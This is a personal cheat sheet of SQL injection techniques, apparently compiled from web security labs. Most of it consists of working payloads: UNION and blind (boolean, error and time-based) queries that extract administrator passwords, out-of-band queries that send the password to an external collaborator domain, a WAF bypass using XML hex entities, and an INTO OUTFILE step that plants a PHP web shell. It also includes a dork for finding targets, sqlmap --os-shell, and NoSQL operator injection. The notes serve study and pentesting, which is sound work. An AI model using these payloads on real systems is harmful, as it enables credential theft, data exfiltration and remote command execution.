SQLi

How To Identify SQLi

- To find injection points use this dork= site:target inurl:?id=
- ▼ Common injection points
  - login forms
  - search box
  - URL parameters
  - Cookies
  - Hidden fields in HTML forms
- ▼ Auth
  - For everything true : %’or’1’=’1
  - display name of DB with version: %’or 0=0 union select null,version()#
  - display all the tables present in information_schema by the following script: %’and 1=0 union select null,table_name from information_schema.tables#
  - display all the coloumn fields in information_schema users table by the following script: %’and 1=0 union select null,concat(table_name,0x0a,coloumn_name) information_schema.coloumns where table_name=’users’#
  - Display all the coloumns dield contents in the information_schema user table : %’and 1=0 union select null,concat(first_name,0x0a,last_name.0x0a,user,0x0a,password) from users#
- ▼ Detect SQLi
  - ‘
  - or 1=1 and or 1=2 : look for any change in response
  - some payload
- ‘- -: comment down the rest
- Gifts'+OR+1=1—: in URL query

In BAND SQLi

- ▼ UNION ATTACK
  - Requirements
    - no of columns in the union select query should be same as the no of column in the original query
    - The data types in each column must be same as and in same order as that of the original query
  - ▼ Determine no of coloumns
    - Determine no of coloumns
      - Check using OrderBy clause will give error when out of column error occur

      ```
      ' ORDER BY 1--
      ' ORDER BY 2--
      ' ORDER BY 3--
      ```
    - Determine the no of columns 2
      - check using null data type as argument when this no reaches the no of columns it don’t give any error

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

- For Oracle : ' UNION SELECT NULL FROM DUAL— : dual is a inbuilt table in oracle

▼ Finding columns with a useful data

- useful data is generally stored in the string data type so look for it using the union select payload

  ' UNION SELECT 'a',NULL,NULL,NULL--
  ' UNION SELECT NULL,'a',NULL,NULL--
  ' UNION SELECT NULL,NULL,'a',NULL--
  ' UNION SELECT NULL,NULL,NULL,'a'--

  You will get a database error if the column has not string datatype

▼ Attack for users and password

- The original query returns two columns, both of which can hold string data.
- The injection point is a quoted string within the `WHERE` clause.
- The database contains a table called `users` with the columns `username` and `password`.

In this example, you can retrieve the contents of the `users` table by submitting the input:

```
' UNION SELECT username, password FROM users--
```

- If the query only returns on one string column then you can concate two values
  - ' UNION SELECT username || '~' || password FROM user —

▼ Examine the database

▼ Check Version

' UNION SELECT @@version—

Database type	Query
Microsoft, MySQL	`SELECT @@version`
Oracle	`SELECT * FROM v$version`
PostgreSQL	`SELECT version()`

▼ Check schema of the databses

- List tables from the database

  SELECT * FROM information_schema.tables

  ' UNION SELECT table_name,NULL FROM information_schema.tables—

- List of columns of a specific table

  SELECT * FROM information_schema.columns WHERE table_name = "Users"

  '+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_ab

Blind SQLi

- If the site is asking for a session ID or tracking ID or anything like that in the req header like

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

- The server uses this query to verify the authenticity of the user using the cookie

  SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

- If the cookie or ID verifies it will not give any error or any information about the database it just behaves differently like "Welcome back <your name>"

  ' AND '1'='1: adding this after the cookie value we will get a Welcome back msg as the condition is true
  ' AND '1'='2: it will not show any

▼ Attacking Blind SQLi

- xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), position, how many letters to compare) > 'm : substring extract some letters from the string(extracted by the query) then the letter is compared with m if it is greater than m it results true and shows the WELCOME BACK msg i.e. the conditions are true
- xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

The `SUBSTRING` function is called `SUBSTR` on some types of database

▼ Step by Step

- TrackingId=xyz' AND '1'='1 : check if any welcome msg appears
- TrackingId=xyz' AND '1'='2 : check if the welcome msg only available when the condition is TRUE
- TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a : check if there is a table called users
- TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a : to check whether administrator user exits or not
- TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a: to verify the length of password is greater than 1
- TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a : To check the first letter of the password is a or not
- Check The attack type in the intruder i used Cluster Bomb for this attack the default is Spider

Error Based SQLi

- You can induce the application to return a specific error response based on the result of a boolean expression. You can exploit this in the same way as the conditional responses we looked at in the previous section.

▼ Error Based Blind SQLi

- some applications *give the same response even if we put a false or true* condition in the SQL query but we can *induce errors* in that case to get the result
- we can modify the query so that it causes a database error when the condition is true
- Taking the TrackingID example of the Blind SQL

  xyz' AND (SELECT CASE WHEN (condition) THEN 1/0 ELSE 'a' END)='a

  - If the condition is True then 1/0 will be executed else 'a' will be the result and 'a'='a' will result in true and the overall condition will become **TRUE(when the condition is false)**
  - The Payload will be

  xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

▼ Steps

- TrackingId=xyz' :put a ' after the id to see if any error occured

- TrackingId=xyz'' : Verify that the error disappears. This suggests that a syntax error (in this case, the unclosed quotation mark) is having a detectable effect on the response.
- we try putting ;,—,#,1=1 and many more but only string concatenation shows some output
- TrackingId=xyz'||(SELECT '')||' : to check if error we are getting is a sqli error or not, if it still invalid then specify a table name as it might be a oracle database
- or TrackingId=xyz'||(SELECT 'hello') - -
- TrackingId=xyz'||(SELECT '' From table_name)||' : predict a possible table name. Oracle DB requires a table name with every SELECT query or use dual which is a predefined table in oracle(200 status code)
- TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||' : Try using this invalid query and if an error occurs then the server is processing the injection as a SQL query at the backend
- TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||' : if this query doesn't give any error we can say that users table exits(check for 200 status code)
    - Don't forget to use ROWNUM=1 as this will break the concatenation
- This confirms that if our query is executing either the condition is true or false we get a 200 status Ok code and 500 if our query is not executing in db
- now we will utilise the 200 code and raise an intentional error when our condition is false
- TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' : verify the error msg is received by exploiting this condition
- TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' : verify if the error msg disappears
- TrackingId=A2pAbBjW2d5OuUVP'||(select case when (LENGTH((Select password from users where username='administrator'))=1)then '' else to_char(1/0) end FROM dual)—: check the length you will get 200 only on the correct length
- TrackingId=A2pAbBjW2d5OuUVP'||(select case when (SUBSTR((Select password from users where username='administrator'),§1§,1)='§a§')then '' else to_char(1/0) end FROM dual)—: to get the password

- You may be able to trigger error messages that output the data returned by the query. This effectively turns otherwise blind SQL injection vulnerabilities into visible ones. For more information, see Extracting sensitive data via verbose SQL error messages.

Visible Error

- Sometimes the data gives proper information of the error and we can induce result of our payload in that error using the cast() function
- CAST((SELECT example_column FROM example_table) AS int): this will try to convert a string into an integer that will give the following error

  ERROR: invalid input syntax for type integer: "Example data" : this will expose the data

  ▼ steps

    - check using ' that any error occurs or not and we get any error msg : in this case we got the whole query
    - now add ' - - in front of the tracking id and check that the error disappears means that the query is valid
    - TrackingId=54V2MrbCAdqSzCCQ' and cast((select 1) as int)- - : try this query to check that we get any info in the error according to our change. we got an msg to convert int to boolean for any and operation
    - TrackingId=54V2MrbCAdqSzCCQ' and 1=cast((select 1) as int)- - : we add to 1= to finally evaluate this as boolean: this don't give any error as the condition is true
    - TrackingId=54V2MrbCAdqSzCCQ' and 1=cast((select 'hi') as int)- -: try a string and check whether the error msg highlights the string or not if yes then put your payload here

- TrackingId=54V2MrbCAdqSzCCQ' and 1=cast((select password from users where username=administrator) as int) - - : this will show a msg that our original query is trimmed because of the character limit maybe remove that tracking id to get some space
- TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)- -: this will also give error as it returns more than 1 row
- TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)- - : this will return only one row
- it will give the first username of 1st row if it is administrator then fetch password instead of username for the same
- TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)- - : this will fetch password from the 1st row
- if in case you don't find admin on first row you can try fetching other rows using
    - TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1 offset 2) AS int)- - : this will return the third row

Time Based Blind SQLi

- if the application catches the errors and manages them gracefully that no error shows on the screen then the previous attack won't work
- but we can delay the response of the query based on its boolean value using

  '; IF (1=2) WAITFOR DELAY '0:0:10'—
- '; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) = 'm') = 1 WAITFOR DELAY '0:0:{delay}'— : *using count function here as if there is no user named administrator than the query will not raise a error and the count function will just return 0 and the admin won't be alerted.*

▼ Steps

- tried using ' and '' at the end of the id nothing changes
- tried using '|| select sleep(10) ||' : didn't work
- tried using '|| select pg_sleep(10) ||' : didn't work
- tried using '|| select sleep(10)- -: didn't work
- then i removed select, tried using '|| pg_sleep(10) ||' : it works and the response came after 10s
- TrackingId=j'||CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users- -: ran to check if there is an user named administrator
- TrackingId=tBwhDSHIECFqhCyK'||case+when+(length((select password from users where username ='administrator'))=20)then+pg_sleep(10)+else+pg_sleep(0)+end||' : I ran this query to check the length of the password
- TrackingId=tBwhDSHIECFqhCyK'||case+when+(substring((select password from users where username ='administrator'),§i§,1)='§a§')then+pg_sleep(10)+else+pg_sleep(0)+end||' : run a cluster bomb over this payload and to see the response time in the results tab of the intruder on the upper left go to ***column*** then ***turn on response received***

Out of Band SQLi

- The application continues processing the user's request in the original thread, and uses another thread to execute a SQL query using the tracking cookie
- typically the most effective is DNS (domain name service)

- You can view the interaction of the injection on your website or your server instead of the target's server . This is called *out of band interaction*
- interactsh (google), burp collaborator , requestbin: this will give us a link and we can see what request are made to that URL and what response does our server gave
- Once confirmed that the target supports out of band we can inject payloads to retrieve info
- '; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')— : using this query we can get the password or output of the query on the subdomain of the link we prove as a DNS lookup
- S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net DNS query will look like this
- or we can use the same query from the SQLi cheat sheet
- SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://'||(select password from users where username = 'administrator')||'.<your domain here>/"> %remote;]>'),'/l') FROM dual : this will also work same

SQLi with XML

- you can perform SQL injection attacks using any controllable input that is processed as a SQL query by the application. For example, some websites take input in JSON or XML format and use this to query the database
- This can be a good way to bypass WAF and obfuscate our attacks as they are set to capture any SQL syntax and using this we can encode or bypass them
- For example, the following XML-based SQL injection uses an XML escape sequence to encode the `S` character in `SELECT`:

```
<stockCheck>
<productId>123</productId>
<storeId>999 &#x53;ELECT * FROM information_schema.tables</storeId>
</stockCheck>
```

- We can use an extension named *hackverter* to decode the SQL query and bypass WAF
- In the last lab, i gave this code in the XML i tried so many times putting
  - '
  - ' union select ..
  - 1 ' union select
  - '|| select ..||'
  - ' select ...
  - try adding and removing comments at the end
  - 1 union select: this code works

```
<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>10</productId><storeId>
<@hex_entities>1 union select password from users where username='administrator'--<@/hex_enti
</storeId></stockCheck>
```

Second order SQLi

- Second-order SQL injection occurs when the application takes user input from an HTTP request and stores it for future use. This is usually done by placing the input into a database, but no vulnerability occurs at the point where the data is stored. Later, when handling a different HTTP request, the application retrieves the stored data and incorporates it into a SQL query in an unsafe way.

RCE from SQLi

- Once you found a sqli injection point and the query use
- ‘ UNION SELECT ‘hello’ into outfile /home/user/file.txt : this will write hello in the file
- select ‘reverse_shell’ into outfile file.php :will write the code in the file but we will not know the location
- check the service and upload the code in the default path of that service
- curl HTTP://<ip>/file.php : will execute the sell
- SELECT ‘hello’ into outfile ‘http://<IP>:80’ : outfile function will request to the link if given or else write the output
- a simple PHP payload ‘<?php echo system ($_GET[”cmd”])?>’
- execute commands like : HTTP://<IP>/file.php?cmd=whoami

SQLmap

- - -os-shell is used to get command execution via sqli in SQL map
- -u : to add the url
- - -data=”Post=request&parameters=here” -p post : select a specific parameter to test for sqli
- -r complete_http_request.txt -p parameter

NO SQL

- db = db and tables = collections
- MongoDB
- db.collection_name.find(): used to list all the documents (entry fields)
- db.collection_name.find({”user”: “Alexis”}): used to find the entries of that user
- db.collection_name.count(): count the no of entries in the output
- db.collection_name.find({”salary:{$gt:20000}”}): to get all entries whose salary are greater than 20000
- db.collection_name.find({$and:[{”salary”:{$gt:20000}},{”work_hours”:{$gt:8}}]}): using and operator
- db.city.find({”city”:{$regex:”^Ha.*”}}) : any entry where city name starts from Ha will be printed
- db.city.aggregate({”$group”:{”_id”:null,avg:{$avg:”$pop”}}}) : perform an average
- in parameter, name[$ne]=admin :add $ne in front of them